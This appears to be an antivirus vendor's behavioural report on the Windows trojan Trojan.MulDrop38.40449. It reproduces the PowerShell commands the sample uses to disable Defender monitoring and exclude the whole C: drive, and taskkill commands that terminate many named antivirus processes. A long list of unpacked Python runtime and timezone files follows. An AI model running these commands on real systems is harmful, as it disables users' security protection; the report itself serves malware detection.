Trojan.MulDrop38.40449

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \\\"C:\\\\\\\""

Executes the following

'<SYSTEM32>\taskkill.exe' /f /im MsMpEng.exe
'<SYSTEM32>\taskkill.exe' /f /im SecurityHealthService.exe
'<SYSTEM32>\taskkill.exe' /f /im avguard.exe
'<SYSTEM32>\taskkill.exe' /f /im avgnt.exe
'<SYSTEM32>\taskkill.exe' /f /im avcenter.exe
'<SYSTEM32>\taskkill.exe' /f /im avast.exe
'<SYSTEM32>\taskkill.exe' /f /im ekrn.exe
'<SYSTEM32>\taskkill.exe' /f /im egui.exe
'<SYSTEM32>\taskkill.exe' /f /im bdagent.exe
'<SYSTEM32>\taskkill.exe' /f /im mcshield.exe
'<SYSTEM32>\taskkill.exe' /f /im mctray.exe
'<SYSTEM32>\taskkill.exe' /f /im mbam.exe
'<SYSTEM32>\taskkill.exe' /f /im norton.exe
'<SYSTEM32>\taskkill.exe' /f /im tmproxy.exe
'<SYSTEM32>\taskkill.exe' /f /im pavsrv.exe
'<SYSTEM32>\taskkill.exe' /f /im fsgk.exe
'<SYSTEM32>\taskkill.exe' /f /im savservice.exe
'<SYSTEM32>\taskkill.exe' /f /im gdata.exe

Launches a large number of processes

Modifies file system

Creates the following files

%TEMP%\_mei14602\cython\compiler\code.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\compiler\flowcontrol.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\compiler\fusednode.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\compiler\parsing.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\compiler\scanning.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\compiler\visitor.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\plex\actions.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\plex\dfa.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\plex\machines.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\plex\scanners.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\plex\transitions.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\stringiotree.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\tempita\_tempita.cp312-win_amd64.pyd
%TEMP%\_mei14602\cython\utils.cp312-win_amd64.pyd
%TEMP%\_mei14602\vcruntime140.dll
%TEMP%\_mei14602\vcruntime140_1.dll
%TEMP%\_mei14602\_asyncio.pyd
%TEMP%\_mei14602\_bz2.pyd
%TEMP%\_mei14602\_cffi_backend.cp312-win_amd64.pyd
%TEMP%\_mei14602\_ctypes.pyd
%TEMP%\_mei14602\_decimal.pyd
%TEMP%\_mei14602\_elementtree.pyd
%TEMP%\_mei14602\_hashlib.pyd
%TEMP%\_mei14602\_lzma.pyd
%TEMP%\_mei14602\_multiprocessing.pyd
%TEMP%\_mei14602\_overlapped.pyd
%TEMP%\_mei14602\_queue.pyd
%TEMP%\_mei14602\_socket.pyd
%TEMP%\_mei14602\_sqlite3.pyd
%TEMP%\_mei14602\_ssl.pyd
%TEMP%\_mei14602\_uuid.pyd
%TEMP%\_mei14602\_wmi.pyd
%TEMP%\_mei14602\_zoneinfo.pyd
%TEMP%\_mei14602\aiohttp\_http_parser.cp312-win_amd64.pyd
%TEMP%\_mei14602\aiohttp\_http_writer.cp312-win_amd64.pyd
%TEMP%\_mei14602\aiohttp\_websocket\mask.cp312-win_amd64.pyd
%TEMP%\_mei14602\aiohttp\_websocket\reader_c.cp312-win_amd64.pyd
%TEMP%\_mei14602\api-ms-win-core-console-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-fibers-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei14602\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei14602\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei14602\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei14602\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei14602\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei14602\attrs-26.1.0.dist-info\installer
%TEMP%\_mei14602\attrs-26.1.0.dist-info\metadata
%TEMP%\_mei14602\attrs-26.1.0.dist-info\record
%TEMP%\_mei14602\attrs-26.1.0.dist-info\wheel
%TEMP%\_mei14602\attrs-26.1.0.dist-info\licenses\license
%TEMP%\_mei14602\base_library.zip
%TEMP%\_mei14602\certifi\cacert.pem
%TEMP%\_mei14602\charset_normalizer\md.cp312-win_amd64.pyd
%TEMP%\_mei14602\charset_normalizer\md__mypyc.cp312-win_amd64.pyd
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\installer
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\metadata
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\record
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\wheel
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\licenses\license
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\licenses\license.apache
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\licenses\license.bsd
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\sboms\cryptography-rust.cyclonedx.json
%TEMP%\_mei14602\cryptography-49.0.0.dist-info\sboms\sbom.json
%TEMP%\_mei14602\cryptography\hazmat\bindings\_rust.pyd
%TEMP%\_mei14602\davey\davey.cp312-win_amd64.pyd
%TEMP%\_mei14602\frozenlist\_frozenlist.cp312-win_amd64.pyd
%TEMP%\_mei14602\libcrypto-3.dll
%TEMP%\_mei14602\libffi-8.dll
%TEMP%\_mei14602\libssl-3.dll
%TEMP%\_mei14602\lxml\_elementpath.cp312-win_amd64.pyd
%TEMP%\_mei14602\lxml\builder.cp312-win_amd64.pyd
%TEMP%\_mei14602\lxml\etree.cp312-win_amd64.pyd
%TEMP%\_mei14602\lxml\html\_difflib.cp312-win_amd64.pyd
%TEMP%\_mei14602\lxml\html\diff.cp312-win_amd64.pyd
%TEMP%\_mei14602\lxml\isoschematron\resources\rng\iso-schematron.rng
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\rng2schtrn.xsl
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\xsd2schtrn.xsl
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\iso-schematron-xslt1\iso_abstract_expand.xsl
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\iso-schematron-xslt1\iso_dsdl_include.xsl
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\iso-schematron-xslt1\iso_schematron_message.xsl
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\iso-schematron-xslt1\iso_schematron_skeleton_for_xslt1.xsl
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\iso-schematron-xslt1\iso_svrl_for_xslt1.xsl
%TEMP%\_mei14602\lxml\isoschematron\resources\xsl\iso-schematron-xslt1\readme.txt
%TEMP%\_mei14602\lxml\objectify.cp312-win_amd64.pyd
%TEMP%\_mei14602\lxml\sax.cp312-win_amd64.pyd
%TEMP%\_mei14602\multidict\_multidict.cp312-win_amd64.pyd
%TEMP%\_mei14602\nacl\_sodium.pyd
%TEMP%\_mei14602\propcache\_helpers_c.cp312-win_amd64.pyd
%TEMP%\_mei14602\psutil\_psutil_windows.pyd
%TEMP%\_mei14602\pydantic_core\_pydantic_core.cp312-win_amd64.pyd
%TEMP%\_mei14602\pyexpat.pyd
%TEMP%\_mei14602\pyreadline3-3.5.6.dist-info\installer
%TEMP%\_mei14602\pyreadline3-3.5.6.dist-info\metadata
%TEMP%\_mei14602\pyreadline3-3.5.6.dist-info\record
%TEMP%\_mei14602\pyreadline3-3.5.6.dist-info\wheel
%TEMP%\_mei14602\pyreadline3-3.5.6.dist-info\licenses\license.md
%TEMP%\_mei14602\pyreadline3-3.5.6.dist-info\top_level.txt
%TEMP%\_mei14602\python3.dll
%TEMP%\_mei14602\python312.dll
%TEMP%\_mei14602\pythonwin\win32ui.pyd
%TEMP%\_mei14602\pywin32_system32\pythoncom312.dll
%TEMP%\_mei14602\pywin32_system32\pywintypes312.dll
%TEMP%\_mei14602\select.pyd
%TEMP%\_mei14602\sqlite3.dll
%TEMP%\_mei14602\tzdata\zoneinfo\africa\abidjan
%TEMP%\_mei14602\tzdata\zoneinfo\africa\accra
%TEMP%\_mei14602\tzdata\zoneinfo\africa\addis_ababa
%TEMP%\_mei14602\tzdata\zoneinfo\africa\algiers
%TEMP%\_mei14602\tzdata\zoneinfo\africa\asmara
%TEMP%\_mei14602\tzdata\zoneinfo\africa\asmera
%TEMP%\_mei14602\tzdata\zoneinfo\africa\bamako
%TEMP%\_mei14602\tzdata\zoneinfo\africa\bangui
%TEMP%\_mei14602\tzdata\zoneinfo\africa\banjul
%TEMP%\_mei14602\tzdata\zoneinfo\africa\bissau
%TEMP%\_mei14602\tzdata\zoneinfo\africa\blantyre
%TEMP%\_mei14602\tzdata\zoneinfo\africa\brazzaville
%TEMP%\_mei14602\tzdata\zoneinfo\africa\bujumbura
%TEMP%\_mei14602\tzdata\zoneinfo\africa\cairo
%TEMP%\_mei14602\tzdata\zoneinfo\africa\casablanca
%TEMP%\_mei14602\tzdata\zoneinfo\africa\ceuta
%TEMP%\_mei14602\tzdata\zoneinfo\africa\conakry
%TEMP%\_mei14602\tzdata\zoneinfo\africa\dakar
%TEMP%\_mei14602\tzdata\zoneinfo\africa\dar_es_salaam
%TEMP%\_mei14602\tzdata\zoneinfo\africa\djibouti
%TEMP%\_mei14602\tzdata\zoneinfo\africa\douala
%TEMP%\_mei14602\tzdata\zoneinfo\africa\el_aaiun
%TEMP%\_mei14602\tzdata\zoneinfo\africa\freetown
%TEMP%\_mei14602\tzdata\zoneinfo\africa\gaborone
%TEMP%\_mei14602\tzdata\zoneinfo\africa\harare
%TEMP%\_mei14602\tzdata\zoneinfo\africa\johannesburg
%TEMP%\_mei14602\tzdata\zoneinfo\africa\juba
%TEMP%\_mei14602\tzdata\zoneinfo\africa\kampala
%TEMP%\_mei14602\tzdata\zoneinfo\africa\khartoum
%TEMP%\_mei14602\tzdata\zoneinfo\africa\kigali
%TEMP%\_mei14602\tzdata\zoneinfo\africa\kinshasa
%TEMP%\_mei14602\tzdata\zoneinfo\africa\lagos
%TEMP%\_mei14602\tzdata\zoneinfo\africa\libreville
%TEMP%\_mei14602\tzdata\zoneinfo\africa\lome
%TEMP%\_mei14602\tzdata\zoneinfo\africa\luanda
%TEMP%\_mei14602\tzdata\zoneinfo\africa\lubumbashi
%TEMP%\_mei14602\tzdata\zoneinfo\africa\lusaka
%TEMP%\_mei14602\tzdata\zoneinfo\africa\malabo
%TEMP%\_mei14602\tzdata\zoneinfo\africa\maputo
%TEMP%\_mei14602\tzdata\zoneinfo\africa\maseru
%TEMP%\_mei14602\tzdata\zoneinfo\africa\mbabane
%TEMP%\_mei14602\tzdata\zoneinfo\africa\mogadishu
%TEMP%\_mei14602\tzdata\zoneinfo\africa\monrovia
%TEMP%\_mei14602\tzdata\zoneinfo\africa\nairobi
%TEMP%\_mei14602\tzdata\zoneinfo\africa\ndjamena
%TEMP%\_mei14602\tzdata\zoneinfo\africa\niamey
%TEMP%\_mei14602\tzdata\zoneinfo\africa\nouakchott
%TEMP%\_mei14602\tzdata\zoneinfo\africa\ouagadougou
%TEMP%\_mei14602\tzdata\zoneinfo\africa\porto-novo
%TEMP%\_mei14602\tzdata\zoneinfo\africa\sao_tome
%TEMP%\_mei14602\tzdata\zoneinfo\africa\timbuktu
%TEMP%\_mei14602\tzdata\zoneinfo\africa\tripoli
%TEMP%\_mei14602\tzdata\zoneinfo\africa\tunis
%TEMP%\_mei14602\tzdata\zoneinfo\africa\windhoek
%TEMP%\_mei14602\tzdata\zoneinfo\america\adak
%TEMP%\_mei14602\tzdata\zoneinfo\america\anchorage
%TEMP%\_mei14602\tzdata\zoneinfo\america\anguilla
%TEMP%\_mei14602\tzdata\zoneinfo\america\antigua
%TEMP%\_mei14602\tzdata\zoneinfo\america\araguaina
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\buenos_aires
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\catamarca
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\comodrivadavia
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\cordoba
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\jujuy
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\la_rioja
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\mendoza
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\rio_gallegos
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\salta
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\san_juan
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\san_luis
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\tucuman
%TEMP%\_mei14602\tzdata\zoneinfo\america\argentina\ushuaia
%TEMP%\_mei14602\tzdata\zoneinfo\america\aruba
%TEMP%\_mei14602\tzdata\zoneinfo\america\asuncion
%TEMP%\_mei14602\tzdata\zoneinfo\america\atikokan
%TEMP%\_mei14602\tzdata\zoneinfo\america\atka
%TEMP%\_mei14602\tzdata\zoneinfo\america\bahia
%TEMP%\_mei14602\tzdata\zoneinfo\america\bahia_banderas
%TEMP%\_mei14602\tzdata\zoneinfo\america\barbados
%TEMP%\_mei14602\tzdata\zoneinfo\america\belem
%TEMP%\_mei14602\tzdata\zoneinfo\america\belize
%TEMP%\_mei14602\tzdata\zoneinfo\america\blanc-sablon
%TEMP%\_mei14602\tzdata\zoneinfo\america\boa_vista
%TEMP%\_mei14602\tzdata\zoneinfo\america\bogota
%TEMP%\_mei14602\tzdata\zoneinfo\america\boise
%TEMP%\_mei14602\tzdata\zoneinfo\america\buenos_aires
%TEMP%\_mei14602\tzdata\zoneinfo\america\cambridge_bay
%TEMP%\_mei14602\tzdata\zoneinfo\america\campo_grande
%TEMP%\_mei14602\tzdata\zoneinfo\america\cancun
%TEMP%\_mei14602\tzdata\zoneinfo\america\caracas
%TEMP%\_mei14602\tzdata\zoneinfo\america\catamarca
%TEMP%\_mei14602\tzdata\zoneinfo\america\cayenne
%TEMP%\_mei14602\tzdata\zoneinfo\america\cayman
%TEMP%\_mei14602\tzdata\zoneinfo\america\chicago
%TEMP%\_mei14602\tzdata\zoneinfo\america\chihuahua
%TEMP%\_mei14602\tzdata\zoneinfo\america\ciudad_juarez
%TEMP%\_mei14602\tzdata\zoneinfo\america\coral_harbour
%TEMP%\_mei14602\tzdata\zoneinfo\america\cordoba
%TEMP%\_mei14602\tzdata\zoneinfo\america\costa_rica
%TEMP%\_mei14602\tzdata\zoneinfo\america\coyhaique
%TEMP%\_mei14602\tzdata\zoneinfo\america\creston
%TEMP%\_mei14602\tzdata\zoneinfo\america\cuiaba
%TEMP%\_mei14602\tzdata\zoneinfo\america\curacao
%TEMP%\_mei14602\tzdata\zoneinfo\america\danmarkshavn
%TEMP%\_mei14602\tzdata\zoneinfo\america\dawson
%TEMP%\_mei14602\tzdata\zoneinfo\america\dawson_creek
%TEMP%\_mei14602\tzdata\zoneinfo\america\denver
%TEMP%\_mei14602\tzdata\zoneinfo\america\detroit
%TEMP%\_mei14602\tzdata\zoneinfo\america\dominica
%TEMP%\_mei14602\tzdata\zoneinfo\america\edmonton
%TEMP%\_mei14602\tzdata\zoneinfo\america\eirunepe
%TEMP%\_mei14602\tzdata\zoneinfo\america\el_salvador
%TEMP%\_mei14602\tzdata\zoneinfo\america\ensenada
%TEMP%\_mei14602\tzdata\zoneinfo\america\fort_nelson
%TEMP%\_mei14602\tzdata\zoneinfo\america\fort_wayne
%TEMP%\_mei14602\tzdata\zoneinfo\america\fortaleza
%TEMP%\_mei14602\tzdata\zoneinfo\america\glace_bay
%TEMP%\_mei14602\tzdata\zoneinfo\america\godthab
%TEMP%\_mei14602\tzdata\zoneinfo\america\goose_bay
%TEMP%\_mei14602\tzdata\zoneinfo\america\grand_turk
%TEMP%\_mei14602\tzdata\zoneinfo\america\grenada
%TEMP%\_mei14602\tzdata\zoneinfo\america\guadeloupe
%TEMP%\_mei14602\tzdata\zoneinfo\america\guatemala
%TEMP%\_mei14602\tzdata\zoneinfo\america\guayaquil
%TEMP%\_mei14602\tzdata\zoneinfo\america\guyana
%TEMP%\_mei14602\tzdata\zoneinfo\america\halifax
%TEMP%\_mei14602\tzdata\zoneinfo\america\havana
%TEMP%\_mei14602\tzdata\zoneinfo\america\hermosillo
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\indianapolis
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\knox
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\marengo
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\petersburg
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\tell_city
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\vevay
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\vincennes
%TEMP%\_mei14602\tzdata\zoneinfo\america\indiana\winamac
%TEMP%\_mei14602\tzdata\zoneinfo\america\indianapolis
%TEMP%\_mei14602\tzdata\zoneinfo\america\inuvik
%TEMP%\_mei14602\tzdata\zoneinfo\america\iqaluit
%TEMP%\_mei14602\tzdata\zoneinfo\america\jamaica
%TEMP%\_mei14602\tzdata\zoneinfo\america\jujuy
%TEMP%\_mei14602\tzdata\zoneinfo\america\juneau
%TEMP%\_mei14602\tzdata\zoneinfo\america\kentucky\louisville
%TEMP%\_mei14602\tzdata\zoneinfo\america\kentucky\monticello
%TEMP%\_mei14602\tzdata\zoneinfo\america\knox_in
%TEMP%\_mei14602\tzdata\zoneinfo\america\kralendijk
%TEMP%\_mei14602\tzdata\zoneinfo\america\la_paz
%TEMP%\_mei14602\tzdata\zoneinfo\america\lima
%TEMP%\_mei14602\tzdata\zoneinfo\america\los_angeles
%TEMP%\_mei14602\tzdata\zoneinfo\america\louisville
%TEMP%\_mei14602\tzdata\zoneinfo\america\lower_princes
%TEMP%\_mei14602\tzdata\zoneinfo\america\maceio
%TEMP%\_mei14602\tzdata\zoneinfo\america\managua
%TEMP%\_mei14602\tzdata\zoneinfo\america\manaus
%TEMP%\_mei14602\tzdata\zoneinfo\america\marigot
%TEMP%\_mei14602\tzdata\zoneinfo\america\martinique
%TEMP%\_mei14602\tzdata\zoneinfo\america\matamoros
%TEMP%\_mei14602\tzdata\zoneinfo\america\mazatlan
%TEMP%\_mei14602\tzdata\zoneinfo\america\mendoza
%TEMP%\_mei14602\tzdata\zoneinfo\america\menominee
%TEMP%\_mei14602\tzdata\zoneinfo\america\merida
%TEMP%\_mei14602\tzdata\zoneinfo\america\metlakatla
%TEMP%\_mei14602\tzdata\zoneinfo\america\mexico_city
%TEMP%\_mei14602\tzdata\zoneinfo\america\miquelon
%TEMP%\_mei14602\tzdata\zoneinfo\america\moncton
%TEMP%\_mei14602\tzdata\zoneinfo\america\monterrey
%TEMP%\_mei14602\tzdata\zoneinfo\america\montevideo
%TEMP%\_mei14602\tzdata\zoneinfo\america\montreal
%TEMP%\_mei14602\tzdata\zoneinfo\america\montserrat
%TEMP%\_mei14602\tzdata\zoneinfo\america\nassau
%TEMP%\_mei14602\tzdata\zoneinfo\america\new_york
%TEMP%\_mei14602\tzdata\zoneinfo\america\nipigon
%TEMP%\_mei14602\tzdata\zoneinfo\america\nome
%TEMP%\_mei14602\tzdata\zoneinfo\america\noronha
%TEMP%\_mei14602\tzdata\zoneinfo\america\north_dakota\beulah
%TEMP%\_mei14602\tzdata\zoneinfo\america\north_dakota\center
%TEMP%\_mei14602\tzdata\zoneinfo\america\north_dakota\new_salem
%TEMP%\_mei14602\tzdata\zoneinfo\america\nuuk
%TEMP%\_mei14602\tzdata\zoneinfo\america\ojinaga
%TEMP%\_mei14602\tzdata\zoneinfo\america\panama
%TEMP%\_mei14602\tzdata\zoneinfo\america\pangnirtung
%TEMP%\_mei14602\tzdata\zoneinfo\america\paramaribo
%TEMP%\_mei14602\tzdata\zoneinfo\america\phoenix
%TEMP%\_mei14602\tzdata\zoneinfo\america\port-au-prince
%TEMP%\_mei14602\tzdata\zoneinfo\america\port_of_spain
%TEMP%\_mei14602\tzdata\zoneinfo\america\porto_acre
%TEMP%\_mei14602\tzdata\zoneinfo\america\porto_velho
%TEMP%\_mei14602\tzdata\zoneinfo\america\puerto_rico
%TEMP%\_mei14602\tzdata\zoneinfo\america\punta_arenas
%TEMP%\_mei14602\tzdata\zoneinfo\america\rainy_river
%TEMP%\_mei14602\tzdata\zoneinfo\america\rankin_inlet
%TEMP%\_mei14602\tzdata\zoneinfo\america\recife
%TEMP%\_mei14602\tzdata\zoneinfo\america\regina
%TEMP%\_mei14602\tzdata\zoneinfo\america\resolute
%TEMP%\_mei14602\tzdata\zoneinfo\america\rio_branco
%TEMP%\_mei14602\tzdata\zoneinfo\america\rosario
%TEMP%\_mei14602\tzdata\zoneinfo\america\santa_isabel
%TEMP%\_mei14602\tzdata\zoneinfo\america\santarem
%TEMP%\_mei14602\tzdata\zoneinfo\america\santiago
%TEMP%\_mei14602\tzdata\zoneinfo\america\santo_domingo
%TEMP%\_mei14602\tzdata\zoneinfo\america\sao_paulo
%TEMP%\_mei14602\tzdata\zoneinfo\america\scoresbysund
%TEMP%\_mei14602\tzdata\zoneinfo\america\shiprock
%TEMP%\_mei14602\tzdata\zoneinfo\america\sitka
%TEMP%\_mei14602\tzdata\zoneinfo\america\st_barthelemy
%TEMP%\_mei14602\tzdata\zoneinfo\america\st_johns
%TEMP%\_mei14602\tzdata\zoneinfo\america\st_kitts
%TEMP%\_mei14602\tzdata\zoneinfo\america\st_lucia
%TEMP%\_mei14602\tzdata\zoneinfo\america\st_thomas
%TEMP%\_mei14602\tzdata\zoneinfo\america\st_vincent
%TEMP%\_mei14602\tzdata\zoneinfo\america\swift_current
%TEMP%\_mei14602\tzdata\zoneinfo\america\tegucigalpa
%TEMP%\_mei14602\tzdata\zoneinfo\america\thule
%TEMP%\_mei14602\tzdata\zoneinfo\america\thunder_bay
%TEMP%\_mei14602\tzdata\zoneinfo\america\tijuana
%TEMP%\_mei14602\tzdata\zoneinfo\america\toronto
%TEMP%\_mei14602\tzdata\zoneinfo\america\tortola
%TEMP%\_mei14602\tzdata\zoneinfo\america\vancouver
%TEMP%\_mei14602\tzdata\zoneinfo\america\virgin
%TEMP%\_mei14602\tzdata\zoneinfo\america\whitehorse
%TEMP%\_mei14602\tzdata\zoneinfo\america\winnipeg
%TEMP%\_mei14602\tzdata\zoneinfo\america\yakutat
%TEMP%\_mei14602\tzdata\zoneinfo\america\yellowknife
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\casey
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\davis
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\dumontdurville
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\macquarie
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\mawson
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\mcmurdo
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\palmer
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\rothera
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\south_pole
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\syowa
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\troll
%TEMP%\_mei14602\tzdata\zoneinfo\antarctica\vostok
%TEMP%\_mei14602\tzdata\zoneinfo\arctic\longyearbyen
%TEMP%\_mei14602\tzdata\zoneinfo\asia\aden
%TEMP%\_mei14602\tzdata\zoneinfo\asia\almaty
%TEMP%\_mei14602\tzdata\zoneinfo\asia\amman
%TEMP%\_mei14602\tzdata\zoneinfo\asia\anadyr
%TEMP%\_mei14602\tzdata\zoneinfo\asia\aqtau
%TEMP%\_mei14602\tzdata\zoneinfo\asia\aqtobe
%TEMP%\_mei14602\tzdata\zoneinfo\asia\ashgabat
%TEMP%\_mei14602\tzdata\zoneinfo\asia\ashkhabad
%TEMP%\_mei14602\tzdata\zoneinfo\asia\atyrau
%TEMP%\_mei14602\tzdata\zoneinfo\asia\baghdad
%TEMP%\_mei14602\tzdata\zoneinfo\asia\bahrain
%TEMP%\_mei14602\tzdata\zoneinfo\asia\baku
%TEMP%\_mei14602\tzdata\zoneinfo\asia\bangkok
%TEMP%\_mei14602\tzdata\zoneinfo\asia\barnaul
%TEMP%\_mei14602\tzdata\zoneinfo\asia\beirut
%TEMP%\_mei14602\tzdata\zoneinfo\asia\bishkek
%TEMP%\_mei14602\tzdata\zoneinfo\asia\brunei
%TEMP%\_mei14602\tzdata\zoneinfo\asia\calcutta
%TEMP%\_mei14602\tzdata\zoneinfo\asia\chita
%TEMP%\_mei14602\tzdata\zoneinfo\asia\choibalsan
%TEMP%\_mei14602\tzdata\zoneinfo\asia\chongqing
%TEMP%\_mei14602\tzdata\zoneinfo\asia\chungking
%TEMP%\_mei14602\tzdata\zoneinfo\asia\colombo
%TEMP%\_mei14602\tzdata\zoneinfo\asia\dacca
%TEMP%\_mei14602\tzdata\zoneinfo\asia\damascus
%TEMP%\_mei14602\tzdata\zoneinfo\asia\dhaka
%TEMP%\_mei14602\tzdata\zoneinfo\asia\dili
%TEMP%\_mei14602\tzdata\zoneinfo\asia\dubai
%TEMP%\_mei14602\tzdata\zoneinfo\asia\dushanbe
%TEMP%\_mei14602\tzdata\zoneinfo\asia\famagusta
%TEMP%\_mei14602\tzdata\zoneinfo\asia\gaza
%TEMP%\_mei14602\tzdata\zoneinfo\asia\harbin
%TEMP%\_mei14602\tzdata\zoneinfo\asia\hebron
%TEMP%\_mei14602\tzdata\zoneinfo\asia\ho_chi_minh
%TEMP%\_mei14602\tzdata\zoneinfo\asia\hong_kong
%TEMP%\_mei14602\tzdata\zoneinfo\asia\hovd
%TEMP%\_mei14602\tzdata\zoneinfo\asia\irkutsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\istanbul
%TEMP%\_mei14602\tzdata\zoneinfo\asia\jakarta
%TEMP%\_mei14602\tzdata\zoneinfo\asia\jayapura
%TEMP%\_mei14602\tzdata\zoneinfo\asia\jerusalem
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kabul
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kamchatka
%TEMP%\_mei14602\tzdata\zoneinfo\asia\karachi
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kashgar
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kathmandu
%TEMP%\_mei14602\tzdata\zoneinfo\asia\katmandu
%TEMP%\_mei14602\tzdata\zoneinfo\asia\khandyga
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kolkata
%TEMP%\_mei14602\tzdata\zoneinfo\asia\krasnoyarsk
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kuala_lumpur
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kuching
%TEMP%\_mei14602\tzdata\zoneinfo\asia\kuwait
%TEMP%\_mei14602\tzdata\zoneinfo\asia\macao
%TEMP%\_mei14602\tzdata\zoneinfo\asia\macau
%TEMP%\_mei14602\tzdata\zoneinfo\asia\magadan
